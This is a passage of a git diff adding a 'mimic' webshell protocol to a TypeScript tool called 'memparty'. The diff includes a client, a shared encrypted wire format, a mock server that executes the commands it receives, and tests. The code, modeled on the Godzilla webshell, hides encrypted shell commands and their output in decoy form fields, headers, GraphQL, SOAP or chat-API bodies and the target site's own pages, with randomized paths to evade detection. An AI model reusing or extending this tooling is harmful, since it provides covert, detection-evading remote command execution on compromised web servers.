+ +`; + +/** The mock site's homepage — exported so `memparty demo` can use it as the skin. */ +export const MOCK_HOMEPAGE = PAGES["/"]!; + +export interface MimicServerOptions { + pass?: string; + secretKey?: string; + /** Wire codec selection — must match the profile the client uses. */ + cipher?: ProfileCipher; + /** + * Cover templates the shell rotates (default: the mock homepage). A + * template carrying {{payload}} gets the ciphertext substituted and is + * served with its own contentType — JSON/XML/JS skins work the same way. + */ + templates?: ProfileTemplate[]; + /** Carrier field names to probe (default: [pass]) — mirrors the filter's FIELDS. */ + fields?: string[]; + /** Command execution timeout on the "target" (default 5s). */ + execTimeoutMs?: number; +} + +export interface MimicServer { + url: string; + port: number; + close(): Promise; +} + +function runCommand(command: string, timeoutMs: number): Promise { + return new Promise((resolve) => { + exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => { + if (err && !stdout && !stderr) { + resolve(`command failed: ${err.message}`); + return; + } + resolve(stdout + stderr); + }); + }); +} + +/** + * Start the fake site on 127.0.0.1 with a random port. + * Shell responses reuse the homepage HTML as their skin — on a real target + * that skin comes from the site profile learned by `memparty profile`. + */ +export async function startMimicServer(options: MimicServerOptions = {}): Promise { + const pass = options.pass ?? "pass"; + const secretKey = options.secretKey ?? "key"; + const cipher = resolveCipher(options.cipher); + const aesKey = deriveAesKey(secretKey); + const markers = deriveMarkers(pass, secretKey, cipher); + const execTimeoutMs = options.execTimeoutMs ?? 5_000; + const skins: ProfileTemplate[] = options.templates ?? [ + { title: "mock", template: PAGES["/"]!, contentType: "text/html; charset=utf-8" }, + ]; + const fields = options.fields ?? [pass]; + + const server = http.createServer((req, res) => { + if (req.method === "POST") { + const chunks: Buffer[] = []; + req.on("data", (c: Buffer) => chunks.push(c)); + req.on("end", () => { + const rawBody = Buffer.concat(chunks); + // carriers: form body | raw body (json/multipart/xml) | query | header + let command: Buffer | null = null; + for (const f of fields) { + command = decodeRequestBody(rawBody, f, aesKey, cipher); + if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher); + if (command === null) { + const query = new URL(req.url ?? "/", "http://x").searchParams.get(f); + if (query) command = tryDecrypt(query, aesKey, cipher); + } + if (command === null) { + const header = req.headers[f.toLowerCase()]; + if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher); + } + if (command !== null) break; + } + if (command === null) { + res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" }); + res.end(NOT_FOUND); + return; + } + void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => { + const b64 = encryptField(Buffer.from(output, "utf8"), aesKey, cipher); + const skin = skins[Math.floor(Math.random() * skins.length)]!; + const body = skin.template.includes(PAYLOAD_PLACEHOLDER) + ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) + : injectFragment(skin.template, markers.wrap(b64)); + res.writeHead(200, { "Content-Type": skin.contentType }); + if (skin.contentType.includes("event-stream")) { + // flush chunk by chunk with a small cadence — looks like a live + // stream on the wire, not a one-shot body + const sseChunks = body.split("\n\n").filter((c) => c.length > 0); + let i = 0; + const next = (): void => { + if (i < sseChunks.length) { + res.write(`${sseChunks[i++]!}\n\n`); + setTimeout(next, 25); + } else { + res.end(); + } + }; + next(); + } else { + res.end(body); + } + }); + }); + return; + } + const page = PAGES[req.url ?? "/"] ?? NOT_FOUND; + res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, { + "Content-Type": "text/html; charset=utf-8", + }); + res.end(page); + }); + + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as AddressInfo; + return { + url: `http://127.0.0.1:${port}/`, + port, + close: () => new Promise((resolve) => server.close(() => resolve())), + }; +} diff --git a/tools/cli/src/connect/mimic-shared.ts b/tools/cli/src/connect/mimic-shared.ts new file mode 100644 index 00000000..5b05b9a8 --- /dev/null +++ b/tools/cli/src/connect/mimic-shared.ts @@ -0,0 +1,308 @@ +/** + * Wire format shared by the mimic protocol's client (mimic.ts) and the mock + * server (mimic-server.ts) — both sides must derive byte-identical values. + * + * The design borrows from Godzilla-ekp (see scratch/ekp analysis): + * - request: POST form body `pass=` + * - response: a full HTML page with the ciphertext embedded in a JS + * assignment `var Re_config="";` + * so the delimiters differ per shell and the page validates + * as ordinary HTML/JS. + * - crypto: AES/ECB/PKCS5Padding, key = md5(secretKey)[0:16] — same + * derivation as Godzilla. + * + * What mimic adds on top: the HTML page is not hand-written — it is the + * target site's own page, learned by `memparty profile` (site-profile.ts). + * + * The crypto/encoding/marker layer is selectable per profile — see + * mimic-codecs.ts. This module keeps the original helpers (legacy defaults) + * so pre-codec filters and tests keep working unchanged. + */ +import { md5Hex, md5Key16 } from "./crypto.js"; +import { + LEGACY_CIPHER, + decryptField as codecDecryptField, + encryptField as codecEncryptField, + type MimicCipher, +} from "./mimic-codecs.js"; +import { randomBytes, randomInt, randomUUID } from "node:crypto"; + +/** AES key derivation, identical on both sides. */ +export function deriveAesKey(secretKey: string): string { + return md5Key16(secretKey); +} + +/** + * Render placeholders in a decoy field value: + * {{hex:N}} N hex chars {{b64:N}} N base64url chars + * {{uuid}} a fresh UUID {{ts}} current unix seconds + * {{int:A:B}} random integer in [A, B] + */ +export function renderFieldValue(value: string): string { + return value + .replaceAll(/\{\{hex:(\d+)\}\}/g, (_m, n) => + randomBytes(Math.ceil(Number(n) / 2)) + .toString("hex") + .slice(0, Number(n)), + ) + .replaceAll(/\{\{b64:(\d+)\}\}/g, (_m, n) => + randomBytes(Math.ceil((Number(n) * 3) / 4)) + .toString("base64url") + .slice(0, Number(n)), + ) + .replaceAll(/\{\{uuid\}\}/g, () => randomUUID()) + .replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1000))) + .replaceAll(/\{\{int:(\d+):(\d+)\}\}/g, (_m, a, b) => + String(randomInt(Number(a), Number(b) + 1)), + ); +} + +/** + * Left delimiter of the response ciphertext: `var Re_config="`. + * Derived from md5(pass+key)[0:5], so every shell gets unique markers. + */ +export function deriveLeftMarker(pass: string, secretKey: string): string { + return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config="`; +} + +/** Right delimiter of the response ciphertext (legacy js-var marker). */ +export const RIGHT_MARKER = '";'; + +/** Encrypt + encode one request/response field. */ +export function encryptField( + plaintext: Buffer, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): string { + return codecEncryptField(plaintext, aesKey, cipher); +} + +/** Decode + decrypt one field. Throws on garbage. */ +export function decryptField( + value: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer { + return codecDecryptField(value, aesKey, cipher); +} + +/** Assemble a form-urlencoded body (values already raw; encoding happens here). */ +export function buildFormBody(fields: Array<{ name: string; value: string }>): Buffer { + return Buffer.from( + fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"), + "utf8", + ); +} + +/** Assemble a JSON object body (values already raw; stringified here). */ +export function buildJsonBody(fields: Array<{ name: string; value: string }>): Buffer { + const obj: Record = {}; + for (const f of fields) obj[f.name] = f.value; + return Buffer.from(JSON.stringify(obj), "utf8"); +} + +/** + * Client side: render a profile bodyTemplate — the ciphertext goes where + * `{{payload}}` sits, decoy macros ({{hex:N}} etc.) are rendered too. + * Any text format: chat-API JSON, GraphQL, XML, multipart (the boundary is + * just literal text in the template, mirrored in the Content-Type header). + */ +export function renderBodyTemplate(template: string, payload: string): Buffer { + return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8"); +} + +function escapeRegExp(s: string): string { + return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} + +/** + * Server side: extract and decrypt the command from a JSON body. + * Cipher values never contain quotes/escapes, so a plain field match is + * enough — no full JSON parser needed. Null when the field isn't ours. + */ +export function decodeJsonBody( + body: Buffer, + pass: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer | null { + const text = body.toString("utf8"); + const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text); + if (!m) return null; + try { + return decryptField(m[1]!, aesKey, cipher); + } catch { + return null; + } +} + +/** + * Server side: extract and decrypt from a multipart/form-data body — + * the value follows the part headers of the `name="field"` part. + */ +export function decodeMultipartBody( + body: Buffer, + pass: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer | null { + const text = body.toString("utf8"); + const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text); + if (!m) return null; + try { + return decryptField(m[2]!, aesKey, cipher); + } catch { + return null; + } +} + +/** Server side: extract and decrypt from an XML body — `value`. */ +export function decodeXmlBody( + body: Buffer, + pass: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer | null { + const text = body.toString("utf8"); + const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)`).exec(text); + if (!m) return null; + try { + return decryptField(m[1]!, aesKey, cipher); + } catch { + return null; + } +} + +/** + * Server side: one probe over a raw body of unknown shape — tries every + * anchor style (JSON field, multipart part, XML tag). The Java filter twins + * this with jsonField/multipartField/xmlField. + */ +export function decodeAnyBody( + body: Buffer, + pass: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer | null { + return ( + decodeJsonBody(body, pass, aesKey, cipher) ?? + decodeMultipartBody(body, pass, aesKey, cipher) ?? + decodeXmlBody(body, pass, aesKey, cipher) + ); +} + +/** Client side: build the POST form body carrying `plaintext`. */ +export function encodeRequestBody( + pass: string, + plaintext: Buffer, + aesKey: string, + decoys: Array<{ name: string; value: string }> = [], + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer { + const fields = decoys.map((f) => ({ name: f.name, value: renderFieldValue(f.value) })); + fields.push({ name: pass, value: encryptField(plaintext, aesKey, cipher) }); + return buildFormBody(fields); +} + +/** + * Server side: extract and decrypt the command from a form body. + * Returns null when the body does not carry the pass parameter (i.e. the + * request is an ordinary browser POST, not a shell request). + */ +export function decodeRequestBody( + body: Buffer, + pass: string, + aesKey: string, + cipher: MimicCipher = LEGACY_CIPHER, +): Buffer | null { + const text = body.toString("utf8"); + for (const pair of text.split("&")) { + const eq = pair.indexOf("="); + if (eq <= 0) continue; + if (pair.slice(0, eq) !== pass) continue; + const value = decodeURIComponent(pair.slice(eq + 1)); + try { + return decryptField(value, aesKey, cipher); + } catch { + return null; + } + } + return null; +} + +/** + * Inject a ready-made fragment (marker + ciphertext) into the HTML + * template — right before `` when present, else appended. + */ +export function injectFragment(templateHtml: string, fragment: string): string { + const idx = templateHtml.toLowerCase().lastIndexOf(""); + if (idx === -1) return templateHtml + fragment; + return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx); +} + +/** + * Server side: wrap `b64Cipher` in the JS assignment and inject it into the + * HTML template — right before `` when present, else appended. + */ +export function injectIntoTemplate( + templateHtml: string, + b64Cipher: string, + leftMarker: string, +): string { + return injectFragment(templateHtml, ``); +} + +/** Client side: pull the ciphertext back out of the HTML page. */ +export function extractFromHtml( + html: string, + leftMarker: string, + rightMarker: string = RIGHT_MARKER, +): string | null { + return extractBetween(html, leftMarker, rightMarker); +} + +/** Extract the value between two literal bounds (empty right = to end of text). */ +export function extractBetween(text: string, left: string, right: string): string | null { + const start = text.indexOf(left); + if (start === -1) return null; + const valueStart = start + left.length; + if (right === "") return text.slice(valueStart); + const end = text.indexOf(right, valueStart); + if (end === -1) return null; + return text.slice(valueStart, end); +} + +export interface PayloadDelimiters { + left: string; + right: string; +} + +/** + * One extraction candidate per cover template. A template carrying + * {{payload}} yields its exact left/right context (any text format — the + * cipher alphabet never contains JSON/HTML delimiters); templates without a + * placeholder share the marker pair (their fragment is marker-injected). + * The client tries each candidate until one matches, so template rotation + * on the server side never breaks extraction. + */ +export function templateDelimiters( + templates: Array<{ template: string }>, + markers: { left: string; right: string }, +): PayloadDelimiters[] { + const out: PayloadDelimiters[] = []; + let markerUsed = false; + for (const t of templates) { + const idx = t.template.indexOf("{{payload}}"); + if (idx !== -1) { + out.push({ + left: t.template.slice(0, idx), + right: t.template.slice(idx + "{{payload}}".length), + }); + } else if (!markerUsed) { + out.push({ left: markers.left, right: markers.right }); + markerUsed = true; + } + } + if (out.length === 0) out.push({ left: markers.left, right: markers.right }); + return out; +} diff --git a/tools/cli/src/connect/mimic.test.ts b/tools/cli/src/connect/mimic.test.ts new file mode 100644 index 00000000..f211db51 --- /dev/null +++ b/tools/cli/src/connect/mimic.test.ts @@ -0,0 +1,407 @@ +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import type { ResolvedConnection } from "../core/targets.js"; +import { saveProfile, type SiteProfile } from "../core/site-profile.js"; +import { startMimicServer, type MimicServer } from "./mimic-server.js"; +import { + deriveAesKey, + deriveLeftMarker, + encodeRequestBody, + encryptField, + extractBetween, + injectIntoTemplate, + decryptField, + decodeAnyBody, + decodeMultipartBody, + decodeXmlBody, + renderBodyTemplate, + renderFieldValue, + templateDelimiters, +} from "./mimic-shared.js"; +import { mimicProtocol } from "./mimic.js"; +import type { ProtocolRequest } from "./registry.js"; + +let server: MimicServer; +let dir: string; + +beforeEach(async () => { + dir = mkdtempSync(join(tmpdir(), "memparty-profiles-")); + process.env.MEMPARTY_PROFILES = dir; + server = await startMimicServer(); +}); + +afterEach(async () => { + delete process.env.MEMPARTY_PROFILES; + rmSync(dir, { recursive: true, force: true }); + await server.close(); +}); + +function makeRequest(overrides: Partial = {}): ProtocolRequest { + const conn: ResolvedConnection = { + url: server.url, + tool: "mimic", + pass: "pass", + key: "key", + extraHeaders: {}, + }; + return { + conn, + common: { timeoutMs: 5_000 }, + options: overrides, + }; +} + +const demoProfile: SiteProfile = { + name: "unit", + site: "http://127.0.0.1", + createdAt: new Date().toISOString(), + title: "unit test site", + template: "skin", + contentType: "text/html", + paths: ["/api/", "/news/"], +}; + +describe("mimic protocol", () => { + it("test() does a credential round-trip", async () => { + const result = await mimicProtocol.test(makeRequest()); + expect(result.ok).toBe(true); + expect(result.detail).toContain("round-trip ok"); + }); + + it("exec() runs a command and returns its output", async () => { + const result = await mimicProtocol.exec!(makeRequest(), "echo mimic-canary-123"); + expect(result.ok).toBe(true); + expect(result.output).toContain("mimic-canary-123"); + }); + + it("fails with a wrong key", async () => { + const req = makeRequest(); + req.conn = { ...req.conn, key: "wrong" }; + const result = await mimicProtocol.test(req); + expect(result.ok).toBe(false); + }); + + it("uses a dynamic path from the profile when enabled", async () => { + saveProfile(demoProfile); + const result = await mimicProtocol.test( + makeRequest({ profile: "unit", dynamicPath: true }), + ); + expect(result.ok).toBe(true); + expect(result.detail).toContain("dynamic path"); + expect(result.detail).toMatch(/\/(api|news)\//); + }); + + it("errors clearly when the profile does not exist", async () => { + const result = await mimicProtocol.test(makeRequest({ profile: "nope" })); + expect(result.ok).toBe(false); + expect(result.error).toContain("unknown profile"); + }); + + it("carries the ciphertext in the URL query when secretIn=query", async () => { + saveProfile({ + ...demoProfile, + name: "q", + request: { + secretField: "pass", + secretIn: "query", + fields: [{ name: "locale", value: "zh_CN" }], + }, + }); + const result = await mimicProtocol.test(makeRequest({ profile: "q" })); + expect(result.ok).toBe(true); + }); + + it("carries the ciphertext in a header when secretIn=header", async () => { + saveProfile({ + ...demoProfile, + name: "h", + request: { + secretField: "pass", + secretIn: "header", + fields: [{ name: "csrftoken", value: "{{hex:16}}" }], + }, + }); + const result = await mimicProtocol.test(makeRequest({ profile: "h" })); + expect(result.ok).toBe(true); + }); + + it("accepts an array of request shapes and rotates", async () => { + saveProfile({ + ...demoProfile, + name: "rot", + request: [ + { secretField: "pass", fields: [] }, + { secretField: "pass", secretIn: "query", fields: [] }, + { secretField: "pass", secretIn: "header", fields: [] }, + ], + }); + // three modes x a few runs — all must round-trip whichever shape was picked + for (let i = 0; i < 6; i++) { + const result = await mimicProtocol.test(makeRequest({ profile: "rot" })); + expect(result.ok).toBe(true); + } + }); + + it("round-trips with aes-cbc + padTail + html-comment markers", async () => { + await server.close(); + server = await startMimicServer({ + cipher: { algorithm: "aes-cbc", encoding: "base64", padTail: true, marker: "html-comment" }, + }); + saveProfile({ + ...demoProfile, + name: "cbc", + cipher: { algorithm: "aes-cbc", encoding: "base64", padTail: true, marker: "html-comment" }, + }); + const test = await mimicProtocol.test(makeRequest({ profile: "cbc" })); + expect(test.ok).toBe(true); + const exec = await mimicProtocol.exec!(makeRequest({ profile: "cbc" }), "echo cbc-canary-7"); + expect(exec.ok).toBe(true); + expect(exec.output).toContain("cbc-canary-7"); + }); + + it("round-trips with xor + hex encoding", async () => { + await server.close(); + server = await startMimicServer({ cipher: { algorithm: "xor", encoding: "hex" } }); + saveProfile({ ...demoProfile, name: "xor", cipher: { algorithm: "xor", encoding: "hex" } }); + const result = await mimicProtocol.test(makeRequest({ profile: "xor" })); + expect(result.ok).toBe(true); + }); + + it("round-trips a JSON body through a JSON placeholder skin", async () => { + const apiSkin = '{"code":0,"msg":"ok","data":"{{payload}}","ts":1712345678}'; + await server.close(); + server = await startMimicServer({ + templates: [{ title: "api", template: apiSkin, contentType: "application/json;charset=utf-8" }], + fields: ["token"], + }); + saveProfile({ + ...demoProfile, + name: "json", + templates: [{ title: "api", template: apiSkin, contentType: "application/json;charset=utf-8" }], + request: { + secretField: "token", + bodyStyle: "json", + fields: [ + { name: "username", value: "admin" }, + { name: "nonce", value: "{{hex:16}}" }, + ], + headers: { Accept: "application/json, text/plain, */*" }, + }, + }); + const test = await mimicProtocol.test(makeRequest({ profile: "json" })); + expect(test.ok).toBe(true); + const exec = await mimicProtocol.exec!(makeRequest({ profile: "json" }), "echo json-canary-9"); + expect(exec.ok).toBe(true); + expect(exec.output).toContain("json-canary-9"); + }); + + it("round-trips an OpenAI-style chat body through an SSE skin", async () => { + const sseSkin = + 'data: {"id":"chatcmpl-9","object":"chat.completion.chunk","choices":[{"delta":{"content":"{{payload}}"}}]}\n\ndata: [DONE]\n\n'; + await server.close(); + server = await startMimicServer({ + templates: [{ title: "sse", template: sseSkin, contentType: "text/event-stream" }], + fields: ["content"], + }); + saveProfile({ + ...demoProfile, + name: "chat", + templates: [{ title: "sse", template: sseSkin, contentType: "text/event-stream" }], + request: { + secretField: "content", + bodyTemplate: + '{"model":"gpt-4o-mini","stream":true,"messages":[{"role":"user","content":"{{payload}}"}]}', + headers: { Accept: "text/event-stream", Authorization: "Bearer sk-test" }, + }, + }); + const test = await mimicProtocol.test(makeRequest({ profile: "chat" })); + expect(test.ok).toBe(true); + const exec = await mimicProtocol.exec!(makeRequest({ profile: "chat" }), "echo sse-canary-7"); + expect(exec.ok).toBe(true); + expect(exec.output).toContain("sse-canary-7"); + }); + + it("round-trips a GraphQL mutation body", async () => { + const gqlSkin = '{"data":{"run":{"ok":true,"out":"{{payload}}"}}}'; + await server.close(); + server = await startMimicServer({ + templates: [{ title: "gql", template: gqlSkin, contentType: "application/json" }], + fields: ["variables"], + }); + saveProfile({ + ...demoProfile, + name: "gql", + templates: [{ title: "gql", template: gqlSkin, contentType: "application/json" }], + request: { + secretField: "variables", + bodyTemplate: + '{"operationName":"Run","query":"mutation Run{run}","variables":"{{payload}}","nonce":"{{hex:8}}"}', + }, + }); + const result = await mimicProtocol.exec!(makeRequest({ profile: "gql" }), "echo gql-canary-5"); + expect(result.ok).toBe(true); + expect(result.output).toContain("gql-canary-5"); + }); + + it("round-trips an XML SOAP body through an XML skin", async () => { + const xmlSkin = '0{{payload}}'; + await server.close(); + server = await startMimicServer({ + templates: [{ title: "xml", template: xmlSkin, contentType: "text/xml" }], + fields: ["token"], + }); + saveProfile({ + ...demoProfile, + name: "soap", + templates: [{ title: "xml", template: xmlSkin, contentType: "text/xml" }], + request: { + secretField: "token", + bodyTemplate: + '{{payload}}{{ts}}', + }, + }); + const result = await mimicProtocol.exec!(makeRequest({ profile: "soap" }), "echo xml-canary-3"); + expect(result.ok).toBe(true); + expect(result.output).toContain("xml-canary-3"); + }); + + it("round-trips a multipart/form-data upload body", async () => { + const uploadBody = [ + "------MempartyForm7x", + 'Content-Disposition: form-data; name="file"; filename="avatar.png"', + "Content-Type: image/png", + "", + "{{b64:48}}", + "------MempartyForm7x", + 'Content-Disposition: form-data; name="desc"', + "", + "{{payload}}", + "------MempartyForm7x--", + "", + ].join("\r\n"); + await server.close(); + server = await startMimicServer({ fields: ["desc"] }); + saveProfile({ + ...demoProfile, + name: "upload", + request: { secretField: "desc", bodyTemplate: uploadBody }, + }); + const result = await mimicProtocol.exec!(makeRequest({ profile: "upload" }), "echo mp-canary-2"); + expect(result.ok).toBe(true); + expect(result.output).toContain("mp-canary-2"); + }); + + it("rotates mixed HTML + JSON-placeholder skins without breaking extraction", async () => { + const apiSkin = '{"result":"{{payload}}"}'; + await server.close(); + server = await startMimicServer({ + templates: [ + { title: "html", template: "portal", contentType: "text/html" }, + { title: "api", template: apiSkin, contentType: "application/json" }, + ], + }); + saveProfile({ + ...demoProfile, + name: "mixed", + templates: [ + { title: "html", template: "portal", contentType: "text/html" }, + { title: "api", template: apiSkin, contentType: "application/json" }, + ], + }); + // several runs so both skins get exercised (server rotates at random) + for (let i = 0; i < 8; i++) { + const result = await mimicProtocol.test(makeRequest({ profile: "mixed" })); + expect(result.ok).toBe(true); + } + }); + + it("fails cleanly when client and server ciphers disagree", async () => { + saveProfile({ ...demoProfile, name: "mismatch", cipher: { algorithm: "aes-cbc" } }); + // server still speaks the legacy default + const result = await mimicProtocol.test(makeRequest({ profile: "mismatch" })); + expect(result.ok).toBe(false); + }); +}); + +describe("mimic-shared wire format", () => { + it("derives a per-shell left marker", () => { + expect(deriveLeftMarker("pass", "key")).toMatch(/^var Re[0-9a-f]{5}_config="$/); + expect(deriveLeftMarker("pass", "key")).not.toBe(deriveLeftMarker("other", "key")); + }); + + it("injects the script before and keeps the page valid", () => { + const html = "skin"; + const out = injectIntoTemplate(html, "QUJD", 'var Reabc12_config="'); + expect(out).toBe('skin'); + }); + + it("builds the form body with decoy fields and renders {{hex:N}}", () => { + const body = encodeRequestBody("verCode", Buffer.from("id"), deriveAesKey("key"), [ + { name: "csrftoken", value: "{{hex:32}}" }, + { name: "j_username", value: "admin" }, + ]).toString(); + const params = new URLSearchParams(body); + expect(params.get("csrftoken")).toMatch(/^[0-9a-f]{32}$/); + expect(params.get("j_username")).toBe("admin"); + expect(params.get("pass")).toBeNull(); + // the ciphertext round-trips through the secret field + expect(decryptField(params.get("verCode")!, deriveAesKey("key")).toString()).toBe("id"); + }); + + it("renders {{hex:N}} deterministically in shape and leaves plain text alone", () => { + expect(renderFieldValue("{{hex:8}}")).toMatch(/^[0-9a-f]{8}$/); + expect(renderFieldValue("on")).toBe("on"); + expect(renderFieldValue("a{{hex:4}}b")).toMatch(/^a[0-9a-f]{4}b$/); + }); + + it("computes delimiters per template: placeholder bounds + marker fallback", () => { + const markers = { left: 'var Reabc12_config="', right: '";' }; + const d = templateDelimiters( + [ + { template: '{"a":"{{payload}}","b":1}' }, + { template: "x" }, + { template: "prefix-{{payload}}" }, + ], + markers, + ); + expect(d[0]).toEqual({ left: '{"a":"', right: '","b":1}' }); + expect(d[1]).toEqual(markers); // one shared marker pair for HTML templates + expect(d[2]).toEqual({ left: "prefix-", right: "" }); + expect(templateDelimiters([], markers)).toEqual([markers]); + }); + + it("extractBetween honors an empty right bound as to-end", () => { + expect(extractBetween('{"a":"CIPHER","b":1}', '{"a":"', '","b":1}')).toBe("CIPHER"); + expect(extractBetween("prefix-CIPHER", "prefix-", "")).toBe("CIPHER"); + expect(extractBetween("nothing here", "prefix-", "")).toBeNull(); + }); + + it("renderBodyTemplate substitutes payload and renders decoy macros", () => { + const out = renderBodyTemplate( + '{"a":"{{payload}}","n":"{{hex:4}}","u":"{{uuid}}"}', + "CIPHER", + ).toString(); + expect(out).toContain('"a":"CIPHER"'); + expect(out).toMatch(/"n":"[0-9a-f]{4}"/); + expect(out).not.toContain("{{"); + }); + + it("decodeMultipartBody / decodeXmlBody / decodeAnyBody find the field in raw bodies", () => { + const aesKey = deriveAesKey("key"); + const ct = encryptField(Buffer.from("whoami"), aesKey); + const mp = Buffer.from( + `--x\r\nContent-Disposition: form-data; name="desc"\r\n\r\n${ct}\r\n--x--\r\n`, + ); + expect(decodeMultipartBody(mp, "desc", aesKey)?.toString()).toBe("whoami"); + expect(decodeAnyBody(mp, "desc", aesKey)?.toString()).toBe("whoami"); + const xml = Buffer.from(`${ct}`); + expect(decodeXmlBody(xml, "token", aesKey)?.toString()).toBe("whoami"); + expect(decodeAnyBody(xml, "token", aesKey)?.toString()).toBe("whoami"); + const json = Buffer.from(`{"content":"${ct}"}`); + expect(decodeAnyBody(json, "content", aesKey)?.toString()).toBe("whoami"); + }); +}); diff --git a/tools/cli/src/connect/mimic.ts b/tools/cli/src/connect/mimic.ts new file mode 100644 index 00000000..c495f1f9 --- /dev/null +++ b/tools/cli/src/connect/mimic.ts @@ -0,0 +1,293 @@ +/** + * mimic — the demo plugin: a shell protocol that shapes its traffic after + * the target site's own pages (see docs/custom-memshell-design.md §B). + * + * Client side of the wire format documented in mimic-shared.ts: + * - requests look like an ordinary browser form POST; + * - responses are full HTML pages (the site profile's template) with the + * ciphertext hidden in a per-shell-unique JS variable assignment; + * - with --dynamic-path the request path is randomized using the path + * vocabulary the profile learned from the site (filter-style shells + * answer on any path, so the URL stops being a fixed indicator). + * + * The server side for local validation lives in mimic-server.ts; generating + * a real Java memory shell from a profile is the P1 follow-up. + */ +import { randomInt } from "node:crypto"; + +import { + inferBodyTemplateContentType, + loadProfile, + pickRequestShape, + profileRequests, + profileTemplates, + type SiteProfile, +} from "../core/site-profile.js"; +import { postRaw } from "./http.js"; +import { randomString } from "./crypto.js"; +import { + deriveMarkers, + resolveCipher, + type MimicCipher, + type ResponseMarkers, +} from "./mimic-codecs.js"; +import { + buildFormBody, + buildJsonBody, + deriveAesKey, + encryptField, + extractBetween, + renderBodyTemplate, + templateDelimiters, + decryptField, + renderFieldValue, +} from "./mimic-shared.js"; +import type { ProtocolRequest, ShellProtocol } from "./registry.js"; +import type { ConnectTestResult, ExecResult } from "./types.js"; +import { buildHeaders } from "./types.js"; + +/** A minimal, self-consistent browser header set (suo5's lesson: match the UA). */ +const BROWSER_HEADERS: Record = { + "User-Agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", + Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Content-Type": "application/x-www-form-urlencoded", +}; + +interface MimicContext { + pass: string; + aesKey: string; + cipher: MimicCipher; + markers: ResponseMarkers; + profile?: SiteProfile; + dynamicPath: boolean; +} + +function buildContext(req: ProtocolRequest): MimicContext { + const pass = req.conn.pass ?? "pass"; + const secretKey = req.conn.key ?? "key"; + let profile: SiteProfile | undefined; + const profileName = req.options.profile ?? req.conn.profile; + if (profileName) { + profile = loadProfile(profileName); // throws a descriptive error when missing + } + const cipher = resolveCipher(profile?.cipher); + return { + pass, + aesKey: deriveAesKey(secretKey), + cipher, + markers: deriveMarkers(pass, secretKey, cipher), + profile, + dynamicPath: req.options.dynamicPath ?? false, + }; +} + +/** Where to send this request: the fixed shell URL, or a randomized path. */ +export function pickRequestUrl(connUrl: string, ctx: MimicContext): string { + if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) { + return connUrl; + } + const origin = new URL(connUrl).origin; + const dir = ctx.profile.paths[randomInt(ctx.profile.paths.length)]!; + const slug = randomString(8).toLowerCase(); + return `${origin}${dir}${slug}`; +} + +interface MimicRoundTrip { + ok: boolean; + output?: string; + error?: string; + requestUrl: string; + status: number; + durationMs: number; +} + +async function roundTrip( + req: ProtocolRequest, + ctx: MimicContext, + plaintext: string, +): Promise { + let requestUrl = pickRequestUrl(req.conn.url, ctx); + // pick one request shape (profiles may carry an array): the ciphertext rides + // in shape.secretField — in the form body (default), the URL query, or a header + const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []); + const secretField = shape?.secretField ?? ctx.pass; + const secretIn = shape?.secretIn ?? "body"; + const bodyStyle = shape?.bodyStyle ?? "form"; + const cipher = encryptField(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher); + const decoys = (shape?.fields ?? []).map((f) => ({ + name: f.name, + value: renderFieldValue(f.value), + })); + + let body: Buffer; + const extraHeaders: Record = {}; + if (secretIn === "query") { + const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString(); + requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs; + body = Buffer.alloc(0); + } else if (secretIn === "header") { + // base64 is legal in header values as-is — no URL-encoding there + extraHeaders[secretField] = cipher; + body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys); + } else if (shape?.bodyTemplate) { + // a full body template (chat-API JSON / GraphQL / XML / multipart…): + // the ciphertext goes where {{payload}} sits, decoys ride {{macros}} + body = renderBodyTemplate(shape.bodyTemplate, cipher); + } else { + body = + bodyStyle === "json" + ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) + : buildFormBody([...decoys, { name: secretField, value: cipher }]); + } + const baseHeaders: Record = { ...BROWSER_HEADERS }; + // query mode: an empty body must not claim a form Content-Type + if (secretIn === "query") delete baseHeaders["Content-Type"]; + else if (shape?.bodyTemplate) { + // explicit headers win (merged below); otherwise infer from the body — + // a multipart template's boundary comes from its first delimiter line + const t = shape.bodyTemplate.trimStart(); + if (t.startsWith("--")) { + const boundary = t.split(/\r?\n/, 1)[0]!.slice(2); + baseHeaders["Content-Type"] = 